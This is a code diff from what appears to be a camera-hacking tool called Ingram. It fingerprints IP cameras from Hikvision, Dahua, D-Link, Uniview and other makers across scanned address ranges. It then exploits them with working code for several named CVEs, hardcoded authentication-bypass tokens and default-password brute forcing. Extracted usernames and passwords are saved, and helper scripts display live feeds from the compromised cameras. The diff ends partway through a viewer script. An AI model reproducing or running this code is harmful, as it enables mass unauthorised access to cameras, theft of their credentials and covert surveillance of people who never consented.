||||
|
||||
import os
|
||||
import warnings
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logo
|
||||
from Ingram.utils import color
|
||||
from Ingram.utils import get_parse
|
||||
from Ingram.utils import config_logger
|
||||
from Ingram.utils import get_user_agent
|
||||
from Ingram.core import run
|
||||
|
||||
|
||||
def assemble_config(args):
|
||||
config.set_val('IN', args.in_file)
|
||||
config.set_val('OUT', args.out_dir)
|
||||
config.set_val('THNUM', args.th_num)
|
||||
config.set_val('NOSNAP', args.nosnap)
|
||||
config.set_val('DEBUG', args.debug)
|
||||
config.set_val('TIMEOUT', args.time_out)
|
||||
|
||||
config.set_val('MAXTRIES', 2) # since requests maybe failed, try N times
|
||||
config.set_val('LOGFILE', os.path.join(args.out_dir, 'log.txt')) # log file
|
||||
config_logger(config['LOGFILE'], config['DEBUG']) # logger configuration
|
||||
config.set_val('USERAGENT', get_user_agent()) # to save time, we only get user agent once.
|
||||
|
||||
#--------- config below can be modified ---------
|
||||
config.set_val('USERS', ['admin']) # user names for Brute force cracking of weak passwords
|
||||
config.set_val('PASSWDS', ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc'])
|
||||
config.set_val('WXUID', '') # weechat uid used by wxpusher
|
||||
config.set_val('WXTOKEN', '') # token used by wxpusher
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
warnings.filterwarnings("ignore")
|
||||
|
||||
# logo
|
||||
for icon, font in zip(*logo):
|
||||
print(f"{color.yellow(icon, 'bright')} {color.magenta(font, 'bright')}")
|
||||
|
||||
args = get_parse() # args
|
||||
assemble_config(args) # assemble global config vars
|
||||
|
||||
run()
|
||||
#! /usr/bin/env python3
|
||||
# coding: utf-8
|
||||
# @Auth: Jor<jorhelp@qq.com>
|
||||
# @Date: Wed Apr 20 00:17:30 HKT 2022
|
||||
# @Desc: Ingram
|
||||
|
||||
import os
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logo
|
||||
from Ingram.utils import color
|
||||
from Ingram.utils import get_parse
|
||||
from Ingram.utils import logger, config_logger
|
||||
from Ingram.utils import get_user_agent
|
||||
from Ingram.core import Core
|
||||
|
||||
|
||||
def assemble_config(args):
|
||||
config.set_val('IN', args.in_file)
|
||||
config.set_val('OUT', args.out_dir)
|
||||
config.set_val('TH', args.th_num)
|
||||
config.set_val('DEBUG', args.debug)
|
||||
config.set_val('TIMEOUT', args.time_out)
|
||||
config.set_val('PORT', args.port)
|
||||
|
||||
config.set_val('MAXTRY', 2) # since requests maybe failed, try N times
|
||||
config.set_val('LOGFILE', os.path.join(args.out_dir, 'log.txt')) # log file
|
||||
config_logger(config['LOGFILE'], config['DEBUG']) # logger configuration
|
||||
config.set_val('USERAGENT', get_user_agent()) # to save time, we only get user agent once.
|
||||
|
||||
#--------- config below can be modified ---------
|
||||
config.set_val('USERS', ['admin']) # user names for Brute force cracking of weak passwords
|
||||
config.set_val('PASSWDS', ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc'])
|
||||
config.set_val('WXUID', '') # weechat uid used by wxpusher
|
||||
config.set_val('WXTOKEN', '') # token used by wxpusher
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
# logo
|
||||
for icon, font in zip(*logo):
|
||||
print(f"{color.yellow(icon, 'bright')} {color.magenta(font, 'bright')}")
|
||||
args = get_parse() # args
|
||||
assemble_config(args) # assemble global config vars
|
||||
core = Core() # get ingram core
|
||||
core() # run
|
||||
logger.info('Ingram done!')
|
||||
except KeyboardInterrupt as e:
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.warning(e)
|
||||
print(color.red(f"error occurred, see the {config['OUT']}/log.txt for more information."))
|
||||
exit(0)
|
||||
|
||||
-330
@@ -1,330 +0,0 @@
|
||||
"""Vulnerability Exploition"""
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import time
|
||||
import hashlib
|
||||
import requests
|
||||
from xml.etree import ElementTree
|
||||
|
||||
CWD = os.path.dirname(__file__)
|
||||
sys.path.append(os.path.join(CWD, '..'))
|
||||
from utils.net import get_user_agent
|
||||
from utils.config import USERS, PASSWORDS, TIMEOUT, DEBUG
|
||||
|
||||
|
||||
#======================== global vars ========================
|
||||
DEV_HASH = {
|
||||
'4ff53be6165e430af41d782e00207fda': 'dahua',
|
||||
'89b932fcc47cf4ca3faadb0cfdef89cf': 'hikvision',
|
||||
'f066b751b858f75ef46536f5b357972b': 'cctv',
|
||||
'1536f25632f78fb03babedcb156d3f69': 'uniview-nvr',
|
||||
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # not perfect, removed
|
||||
}
|
||||
#=============================================================
|
||||
|
||||
|
||||
def device_type(ip: str) -> list:
|
||||
"""Check whether the ip is a web camera"""
|
||||
url_list = [
|
||||
f"http://{ip}/favicon.ico", # hikvision, cctv, uniview-nvr
|
||||
f"http://{ip}/image/lgbg.jpg", # Dahua
|
||||
# f"http://{ip}/skin/default_1/images/logo.png", # uniview-dev
|
||||
f"http://{ip}", # dlink
|
||||
]
|
||||
# these are need to be hashed
|
||||
for url in url_list[:-1]:
|
||||
try:
|
||||
r = requests.get(url, timeout=TIMEOUT, verify=False)
|
||||
if r.status_code == 200:
|
||||
hash_val = hashlib.md5(r.content).hexdigest()
|
||||
if hash_val in DEV_HASH: return DEV_HASH[hash_val]
|
||||
except: pass
|
||||
# not hash
|
||||
try:
|
||||
r = requests.get(url_list[-1], timeout=TIMEOUT, verify=False)
|
||||
if 'realm="DCS' in str(r.headers): return 'dlink'
|
||||
except: pass
|
||||
|
||||
return 'unidentified'
|
||||
|
||||
|
||||
def cve_2021_36260(ip: str) -> list:
|
||||
"""(Hikvision) Arbitrary command execution vulnerability"""
|
||||
if ':' in ip:
|
||||
items = ip.split(':')
|
||||
ip, port = items
|
||||
else: port = 80
|
||||
cve_lib = os.path.join(CWD, 'lib/CVE-2021-36260.py')
|
||||
res = os.popen(f"python3 {cve_lib} --rhost {ip} --rport {port} --cmd 'pwd'").readlines()[-2].strip()
|
||||
return [res == '/home', '', '', 'Hikvision', 'cve-2021-36260']
|
||||
|
||||
|
||||
def cve_2017_7921(ip: str) -> list:
|
||||
"""(Hikvision) Bypassing authentication vulnerability"""
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
|
||||
config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
|
||||
|
||||
r = requests.get(user_url, timeout=TIMEOUT, verify=False, headers=headers)
|
||||
if r.status_code == 200 and 'userName' in r.text and 'priority' in r.text and 'userLevel' in r.text:
|
||||
rc = requests.get(config_url, timeout=TIMEOUT * 2, verify=False, headers=headers)
|
||||
with open(f"{ip}-config", 'wb') as f:
|
||||
f.write(rc.content)
|
||||
decryptor = os.path.join(CWD, 'lib/decrypt_configure.py')
|
||||
info = eval(os.popen(f"python3 {decryptor} {ip}-config").readline().strip())
|
||||
idx = - info[::-1].index('admin')
|
||||
user, passwd = info[idx - 1], info[idx]
|
||||
os.remove(f"{ip}-config")
|
||||
return [True, str(user), str(passwd), 'Hikvision', 'cve-2017-7921']
|
||||
return [False, ]
|
||||
|
||||
|
||||
def hik_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
|
||||
"""(Hikvision) Brute"""
|
||||
passwords = set(passwords + ['12345', '888888'])
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
for user in users:
|
||||
for p in passwords:
|
||||
r = requests.get(f"http://{ip}/ISAPI/Security/userCheck", auth=(user, p), timeout=TIMEOUT, verify=False, headers=headers)
|
||||
if r.status_code == 200 and 'userCheck' in r.text and 'statusValue' in r.text and '200' in r.text:
|
||||
return [True, str(user), str(p), 'Hikvision', 'weak pass']
|
||||
return [False, ]
|
||||
|
||||
|
||||
def dahua_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
|
||||
"""(Dahua) Brute"""
|
||||
passwords = set(passwords + ['admin'])
|
||||
headers = {
|
||||
'User-Agent': get_user_agent(),
|
||||
'Host': ip.split(':')[0],
|
||||
'Origin': 'http://' + ip,
|
||||
'Referer': 'http://' + ip,
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection': 'close',
|
||||
'X-Requested-With': 'XMLHttpRequest',
|
||||
}
|
||||
for user in users:
|
||||
for p in passwords:
|
||||
_json = {
|
||||
"method": "global.login",
|
||||
"params": {
|
||||
"userName": user,
|
||||
"password": p,
|
||||
"clientType": "Web3.0",
|
||||
"loginType": "Direct",
|
||||
"authorityType": "Default",
|
||||
"passwordType": "Plain",
|
||||
},
|
||||
"id": 1,
|
||||
"session": 0,
|
||||
}
|
||||
r = requests.post(f"http://{ip}/RPC2_Login", headers=headers, json=_json, verify=False, timeout=TIMEOUT)
|
||||
if r.status_code == 200 and r.json()['result'] == True:
|
||||
return [True, str(user), str(p), 'Dahua', 'weak pass']
|
||||
return [False, ]
|
||||
|
||||
|
||||
def cve_2021_33044(ip: str) -> list:
|
||||
"""(Dahua) Bypassing authentication vulnerability"""
|
||||
headers = {
|
||||
'User-Agent': get_user_agent(),
|
||||
'Host': ip.split(':')[0],
|
||||
'Origin': 'http://' + ip,
|
||||
'Referer': 'http://' + ip,
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection': 'close',
|
||||
'X-Requested-With': 'XMLHttpRequest',
|
||||
}
|
||||
_json = {
|
||||
"method": "global.login",
|
||||
"params": {
|
||||
"userName": "admin",
|
||||
"password": "Not Used",
|
||||
"clientType": "NetKeyboard",
|
||||
"loginType": "Direct",
|
||||
"authorityType": "Default",
|
||||
"passwordType": "Default",
|
||||
},
|
||||
"id": 1,
|
||||
"session": 0,
|
||||
}
|
||||
r = requests.post(f"http://{ip}/RPC2_Login", headers=headers, json=_json, verify=False, timeout=TIMEOUT)
|
||||
if r.status_code == 200 and r.json()['result'] == True:
|
||||
if ':' in ip: ip, port = ip.split(':')
|
||||
else: port = 80
|
||||
|
||||
def dh_console(proto='dhip'):
|
||||
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
|
||||
user, passwd = '', ''
|
||||
try:
|
||||
with os.popen(f"""
|
||||
(
|
||||
echo "OnvifUser -u"
|
||||
echo "quit all"
|
||||
) | python3 -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
|
||||
""") as f: items = [line.strip() for line in f]
|
||||
for idx, val in enumerate(items):
|
||||
if 'Name' in val:
|
||||
user = val.split(':')[-1].strip().strip(',').replace('"', '')
|
||||
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
|
||||
break
|
||||
except Exception as e:
|
||||
if DEBUG: print(e)
|
||||
return user, passwd
|
||||
|
||||
# firstly, try the dhip
|
||||
user, passwd = dh_console(proto='dhip')
|
||||
|
||||
# if not successed, try the http
|
||||
if not user and not passwd:
|
||||
user, passwd = dh_console(proto='http')
|
||||
|
||||
return [True, user, passwd, 'Dahua', 'cve-2021-33044']
|
||||
return [False, ]
|
||||
|
||||
|
||||
def cve_2021_33045(ip: str) -> list:
|
||||
"""(Dahua NVR) Bypassing authentication vulnerability"""
|
||||
if ':' in ip: ip, port = ip.split(':')
|
||||
else: port = 80
|
||||
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
|
||||
json_file = f"{ip}-{port}-users.json"
|
||||
|
||||
with os.popen(f"""
|
||||
(
|
||||
echo "config RemoteDevice save {json_file}"
|
||||
echo "quit all"
|
||||
) | python3 -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
|
||||
""") as f: items = f.readlines()
|
||||
# print(''.join(items))
|
||||
|
||||
# success
|
||||
if os.path.exists(json_file):
|
||||
with open(json_file, 'r') as f:
|
||||
info = json.load(f)
|
||||
dev_all = info['params']['table'].values()
|
||||
dev_alive = [i for i in dev_all if i['Enable']]
|
||||
user = dev_alive[0]['UserName']
|
||||
passwd = dev_alive[0]['Password']
|
||||
os.remove(json_file)
|
||||
return [True, user, passwd, f"Dahua-{len(dev_alive)}", 'cve-2021-33045']
|
||||
# fail
|
||||
else:
|
||||
return [False, ]
|
||||
|
||||
|
||||
def cve_2020_25078(ip: str) -> list:
|
||||
"""(DLink) Disclosure of sensitive information"""
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
r = requests.get(f"http://{ip}/config/getuser?index=0", timeout=TIMEOUT, verify=False, headers=headers)
|
||||
if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
|
||||
items = r.text.split()
|
||||
user, passwd = items[0].split('=')[1], items[1].split('=')[1]
|
||||
return [True, str(user), str(passwd), 'DLink', 'cve-2020-25078']
|
||||
return [False, ]
|
||||
|
||||
|
||||
# bug!!!
|
||||
def dlink_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
|
||||
"""(DLink) Brute"""
|
||||
passwords = set(passwords + [''])
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
for user in users:
|
||||
for p in passwords:
|
||||
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
|
||||
if r.status_code == 200 and 'D-Link' in r.text:
|
||||
return [True, str(user), str(p), 'DLink', 'weak pass']
|
||||
return [False, ]
|
||||
|
||||
|
||||
def cctv_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
|
||||
"""(CCTV) Brute"""
|
||||
passwords = set(passwords + [''])
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
for user in users:
|
||||
for p in passwords:
|
||||
url = f'http://{ip}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{p}"><config base=""/><playback base=""/></rpermission></juan>'
|
||||
r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
|
||||
if r.status_code == 200 and '<rpermission' in r.text:
|
||||
items = r.text.split()
|
||||
idx = items.index('<rpermission')
|
||||
if '0' in items[idx + 1]:
|
||||
return [True, str(user), str(p), 'CCTV', 'weak pass']
|
||||
return [False, ]
|
||||
|
||||
|
||||
# not perfect
|
||||
def uniview_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
|
||||
"""(Uniview) Brute"""
|
||||
passwords = set(passwords + ['123456', 'admin'])
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
for user in users:
|
||||
for p in passwords:
|
||||
pass
|
||||
|
||||
|
||||
def uniview_disclosure(ip: str) -> list:
|
||||
"""(Uniview) NVR password disclosure"""
|
||||
|
||||
def passwd_decoder(passwd):
|
||||
code_table = {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '74': '6', '75': '7', '68': '8', '69': '9',
|
||||
'76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89': '%', '34': '^', '90': '&', '86': '*',
|
||||
'84': '(', '85': ')', '81': '-', '35': '_', '65': '=', '87': '+', '83': '/', '32': '\\', '0': '|',
|
||||
'80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82': '.', '67': '?', '64': '<', '66': '>',
|
||||
'2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28': '`', '61': 'A', '62': 'B', '63': 'C',
|
||||
'56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53': 'I', '54': 'J', '55': 'K', '48': 'L',
|
||||
'49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46': 'R', '47': 'S', '40': 'T', '41': 'U',
|
||||
'42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29': 'a', '30': 'b', '31': 'c', '24': 'd',
|
||||
'25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22': 'j', '23': 'k', '16': 'l', '17': 'm',
|
||||
'18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15': 's', '8': 't', '9': 'u', '10': 'v',
|
||||
'11': 'w', '4': 'x', '5': 'y', '6': 'z'}
|
||||
decoded = []
|
||||
for char in passwd.split(';'):
|
||||
if char != "124" and char != "0": decoded.append(code_table[char])
|
||||
return ''.join(decoded)
|
||||
|
||||
headers = {'User-Agent': get_user_agent()}
|
||||
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
|
||||
r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
|
||||
if r.status_code == 200 and r.text:
|
||||
tree = ElementTree.fromstring(r.text)
|
||||
items = tree.find('UserCfg')
|
||||
user, passwd = items[0].get('UserName'), passwd_decoder(items[0].get('RvsblePass'))
|
||||
return [True, user, passwd, 'Uniview', 'passwd disclosure']
|
||||
return [False, ]
|
||||
|
||||
|
||||
modules = {
|
||||
'device_type': device_type,
|
||||
|
||||
# hikvision
|
||||
'hik_weak': hik_weak,
|
||||
'cve_2021_36260': cve_2021_36260,
|
||||
'cve_2017_7921': cve_2017_7921,
|
||||
|
||||
# dahua
|
||||
'dahua_weak': dahua_weak,
|
||||
'cve_2021_33044': cve_2021_33044,
|
||||
'cve_2021_33045': cve_2021_33045,
|
||||
|
||||
# cctv
|
||||
'cctv_weak': cctv_weak,
|
||||
|
||||
# dlink
|
||||
'cve_2020_25078': cve_2020_25078,
|
||||
|
||||
# uniview
|
||||
'uniview_disclosure': uniview_disclosure,
|
||||
}
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# print(cve_2021_36260('10.101.35.74'))
|
||||
print(dahua_weak('172.17.211.3'))
|
||||
-197
@@ -1,197 +0,0 @@
|
||||
"""Scanners"""
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
from multiprocessing import Lock
|
||||
from collections import defaultdict
|
||||
|
||||
CWD = os.path.dirname(__file__)
|
||||
sys.path.append(os.path.join(CWD, '..'))
|
||||
from scan.modules import modules
|
||||
from utils.net import get_all_ip, get_ip_seg_len
|
||||
from utils.base import multi_thread, process_bar, save_res, printf
|
||||
from utils.config import *
|
||||
|
||||
|
||||
class Base:
|
||||
"""Base class"""
|
||||
def __init__(self, args) -> None:
|
||||
self.args = args
|
||||
self.scanner_name = 'base' # Need to be respecified in subclass
|
||||
if not os.path.isdir(args.out_path): os.mkdir(args.out_path)
|
||||
|
||||
|
||||
class MasScaner(Base):
|
||||
"""This scanner need root authority"""
|
||||
def __init__(self, args) -> None:
|
||||
super().__init__(args)
|
||||
self.scanner_name = 'masscan'
|
||||
self.tmp = os.path.join(self.args.out_path, MASSCAN_TMP) # temp out file
|
||||
|
||||
def parse(self, tmp: str='tmp') -> None:
|
||||
with open(tmp, 'r') as tf:
|
||||
with open(os.path.join(self.args.out_path, MASSCAN_RESULTS), 'w') as of:
|
||||
for line in tf:
|
||||
if 'open' in line:
|
||||
items = line.split()
|
||||
ip, port = items[-2], items[2]
|
||||
of.write(f"{ip}:{port}\n")
|
||||
|
||||
def __call__(self) -> None:
|
||||
if os.path.exists('paused.conf'):
|
||||
os.system(f"sudo masscan --exclude 255.255.255.255 --resume paused.conf")
|
||||
else:
|
||||
os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.args.in_file} -p{self.args.port} --rate {self.args.rate} -oL {self.tmp}")
|
||||
self.parse(self.tmp)
|
||||
|
||||
|
||||
class CameraScanner(Base):
|
||||
"""Scann the webcams"""
|
||||
def __init__(self, args) -> None:
|
||||
super().__init__(args)
|
||||
self.scanner_name = 'camera scanner'
|
||||
self.done_lock = Lock()
|
||||
self.found_lock = Lock()
|
||||
self.file_lock = Lock()
|
||||
self.start_time = time.time()
|
||||
self.bar = process_bar()
|
||||
|
||||
self._preprocess()
|
||||
|
||||
def _preprocess(self):
|
||||
self.total, self.found, self.done = 0, 0, 0
|
||||
|
||||
# total ip
|
||||
with open(self.args.in_file, 'r') as f:
|
||||
total_ip = [l.strip() for l in f if not l.startswith('#') and l.strip()]
|
||||
total_ip = list(set(total_ip))
|
||||
for ip in total_ip:
|
||||
self.total += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1
|
||||
|
||||
# processed ip
|
||||
if not os.path.exists(os.path.join(self.args.out_path, PAUSE)):
|
||||
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'a')
|
||||
processed_ip = []
|
||||
else:
|
||||
self.paused = open(os.path.join(self.args.out_path, PAUSE), 'r+')
|
||||
processed_ip = [l.strip() for l in self.paused if not l.startswith('#') and l.strip()]
|
||||
for ip in processed_ip:
|
||||
self.done += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1
|
||||
|
||||
# need scan
|
||||
self.ip_list = list(set(total_ip) - set(processed_ip)) if processed_ip else total_ip
|
||||
|
||||
# found
|
||||
if os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
|
||||
with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
|
||||
for line in f:
|
||||
if not line.startswith('#') and line.strip(): self.found += 1
|
||||
|
||||
def __del__(self):
|
||||
if os.path.exists(os.path.join(self.args.out_path, PAUSE)): self.paused.close()
|
||||
|
||||
def report(self):
|
||||
"""report the results"""
|
||||
if not os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
|
||||
return
|
||||
|
||||
with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
|
||||
items = [l.strip().split(',') for l in f if l.strip()]
|
||||
|
||||
results = defaultdict(lambda: defaultdict(lambda: 0))
|
||||
for i in items:
|
||||
dev, vul = i[-2].split('-')[0], i[-1]
|
||||
results[dev][vul] += 1
|
||||
results_sum = len(items)
|
||||
results_max = max([val for vul in results.values() for val in vul.values()])
|
||||
|
||||
print('\n')
|
||||
print('-' * 19, 'REPORT', '-' * 19)
|
||||
for dev in results:
|
||||
vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
|
||||
dev_sum = sum([i[1] for i in vuls])
|
||||
printf(f"{dev} {dev_sum}", color='red', bold=True)
|
||||
for vul_name, vul_count in vuls:
|
||||
printf(f"{vul_name:>18} | ", end='')
|
||||
block_num = int(vul_count / results_max * 25)
|
||||
printf('▥' * block_num, end=' ')
|
||||
printf(vul_count)
|
||||
printf(f"{'sum: ' + str(results_sum):>46}", color='yellow', flash=True)
|
||||
print('-' * 46)
|
||||
print('\n')
|
||||
|
||||
def scan_meta(self, ip, mod_name):
|
||||
found = False
|
||||
try:
|
||||
res = self.modules[mod_name](ip)
|
||||
if res[0] == True: # found vulnerability
|
||||
found = True
|
||||
with self.found_lock: self.found += 1
|
||||
if ':' not in ip: port = '80'
|
||||
else: ip, port = ip.split(':')
|
||||
camera_info = [ip, port] + res[1:]
|
||||
save_res(camera_info, os.path.join(self.args.out_path, RESULTS_ALL)) # save results (all)
|
||||
if res[1]:
|
||||
# save [ip, port, user, pass]
|
||||
save_res([ip, port] + res[1: 3], os.path.join(self.args.out_path, RESULTS_SIMPLE))
|
||||
|
||||
# save snapshot if possible
|
||||
if self.args.nosnap:
|
||||
os.system(f"python3 -Bu utils/camera.py --ip '{camera_info[0]}'"
|
||||
f" --port '{camera_info[1]}' --user '{camera_info[2]}' --passwd '{camera_info[3]}'"
|
||||
f" --device '{camera_info[4]}' --vulnerability '{camera_info[5]}'"
|
||||
f" --sv_path {self.args.out_path} > /dev/null 2> /dev/null")
|
||||
except Exception as e:
|
||||
if DEBUG: printf(e, color='red', bold=True)
|
||||
finally:
|
||||
return found
|
||||
|
||||
def scan(self, ip_term: str):
|
||||
if ':' in ip_term: _targets = [ip_term]
|
||||
else: _targets = get_all_ip(ip_term)
|
||||
for ip in _targets:
|
||||
found = False
|
||||
dev_type = modules['device_type'](ip) # hikvision, dahua, cctv, dlink, unidentified
|
||||
|
||||
if dev_type == 'hikvision':
|
||||
if 'hik_weak' in self.modules: found |= self.scan_meta(ip, 'hik_weak')
|
||||
if 'cve_2017_7921' in self.modules: found |= self.scan_meta(ip, 'cve_2017_7921')
|
||||
if 'cve_2021_36260' in self.modules: found |= self.scan_meta(ip, 'cve_2021_36260')
|
||||
elif dev_type == 'dahua':
|
||||
if 'dahua_weak' in self.modules: found |= self.scan_meta(ip, 'dahua_weak')
|
||||
if 'cve_2021_33044' in self.modules: found |= self.scan_meta(ip, 'cve_2021_33044')
|
||||
if 'cve_2021_33045' in self.modules: found |= self.scan_meta(ip, 'cve_2021_33045')
|
||||
elif dev_type == 'cctv':
|
||||
if 'cctv_weak' in self.modules: found |= self.scan_meta(ip, 'cctv_weak')
|
||||
elif dev_type == 'dlink':
|
||||
if 'cve_2020_25078' in self.modules: found |= self.scan_meta(ip, 'cve_2020_25078')
|
||||
elif dev_type == 'uniview-nvr':
|
||||
if 'uniview_disclosure' in self.modules: found |= self.scan_meta(ip, 'uniview_disclosure')
|
||||
|
||||
if not found and dev_type != 'unidentified':
|
||||
save_res([ip, dev_type], os.path.join(self.args.out_path, RESULTS_FAILED))
|
||||
|
||||
with self.done_lock:
|
||||
self.done += 1
|
||||
self.bar(self.total, self.done, self.found, timer=True, start_time=self.start_time)
|
||||
|
||||
# write paused
|
||||
with self.file_lock:
|
||||
self.paused.write(ip_term + '\n')
|
||||
self.paused.flush()
|
||||
|
||||
def _close(self):
|
||||
os.remove(os.path.join(self.args.out_path, PAUSE))
|
||||
|
||||
def __call__(self):
|
||||
self.modules = {}
|
||||
|
||||
if self.args.all: self.modules = modules
|
||||
else:
|
||||
for mod_name, mod_func in modules.items():
|
||||
if mod_name in self.args and eval(f"self.args.{mod_name}"):
|
||||
self.modules[mod_name] = mod_func
|
||||
|
||||
multi_thread(self.scan, self.ip_list, processes=self.args.th_num)
|
||||
self.report()
|
||||
self._close()
|
||||
@@ -1,48 +0,0 @@
|
||||
"""show all the cameras in the file"""
|
||||
import os
|
||||
import sys
|
||||
|
||||
cwd = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.append(os.path.join(cwd, '../..'))
|
||||
from utils.base import printf
|
||||
|
||||
|
||||
file = sys.argv[1] # should in format (ip,user,pass) or (ip,cve-2017-7921)
|
||||
with open(file, 'r') as f:
|
||||
items = [line.strip().split(',') for line in f if line.strip()]
|
||||
|
||||
|
||||
items = [i for i in items if i[-2] == 'Dahua' or i[-2] == 'Hikvision']
|
||||
items = [i for i in items if i[2] or i[-1] == 'cve-2017-7921']
|
||||
|
||||
print()
|
||||
printf(f"there are {len(items)} cameras in file {file}", color='blue', bold=True, flash=True)
|
||||
printf("input any key to get another gruop cameras")
|
||||
printf("input q to quit this program")
|
||||
printf("before get another groups, you should place your mouse over the camera "
|
||||
"and press q to exit the current camera", color='red', bold=True)
|
||||
print()
|
||||
|
||||
|
||||
# do not set the rows and cols too big, since the network equality
|
||||
height = 200
|
||||
rows, cols = 2, 3
|
||||
|
||||
while items:
|
||||
y = 0
|
||||
for row in range(rows):
|
||||
x = 0
|
||||
for col in range(cols):
|
||||
if items:
|
||||
cam = items.pop()
|
||||
if cam[-1] == 'cve-2017-7921':
|
||||
os.system(f"python3 -Bu {os.path.join(cwd, 'show_cve_2017_7921.py')} "
|
||||
f" --ip {cam[0]} --x {x} --y {y} --height {height}&")
|
||||
else:
|
||||
os.system(f"python3 -Bu {os.path.join(cwd, 'show_one_camera.py')} "
|
||||
f" --ip {cam[0]} --user {cam[2]} --passwd {cam[3]} --x {x} --y {y} --height {height}&")
|
||||
else:
|
||||
break
|
||||
x += 360
|
||||
y += height + 35
|
||||
if input().strip() == 'q': break
|
||||
@@ -1,44 +0,0 @@
|
||||
"""show camera that can be exploited by CVE-2017-7921"""
|
||||
import requests
|
||||
import argparse
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
|
||||
|
||||
def get_parser():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--ip', type=str, required=True, help='the target that to be displayed')
|
||||
parser.add_argument('--x', type=int, default=0, required=False, help='window location x')
|
||||
parser.add_argument('--y', type=int, default=0, required=False, help='window location y')
|
||||
parser.add_argument('--height', type=int, default=640, required=False, help='window height')
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
|
||||
|
||||
def show(args):
|
||||
win_name = args.ip + "(cve-2017-7921)"
|
||||
cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)
|
||||
cv2.moveWindow(win_name, args.x, args.y) # window location
|
||||
|
||||
while True:
|
||||
try:
|
||||
r = requests.get(f"http://{args.ip}/onvif-http/snapshot?auth=YWRtaW46MTEK", timeout=3)
|
||||
img = cv2.imdecode(np.frombuffer(r.content, 'uint8'), 1)
|
||||
|
||||
# resize
|
||||
scale = args.height / img.shape[0]
|
||||
img = cv2.resize(img, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)
|
||||
|
||||
cv2.imshow(win_name, img)
|
||||
if cv2.waitKey(30) == ord('q'): # wait 30 ms for 'q' input
|
||||
cv2.destroyAllWindows()
|
||||
break
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
args = get_parser()
|
||||
show(args)
|
||||
@@ -1,44 +0,0 @@
|
||||
"""display the camera in rtsp"""
|
||||
import argparse
|
||||
|
||||
import cv2
|
||||
import rtsp
|
||||
|
||||
|
||||
def get_parser():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--ip', type=str, required=True, help='the target that to be displayed')
|
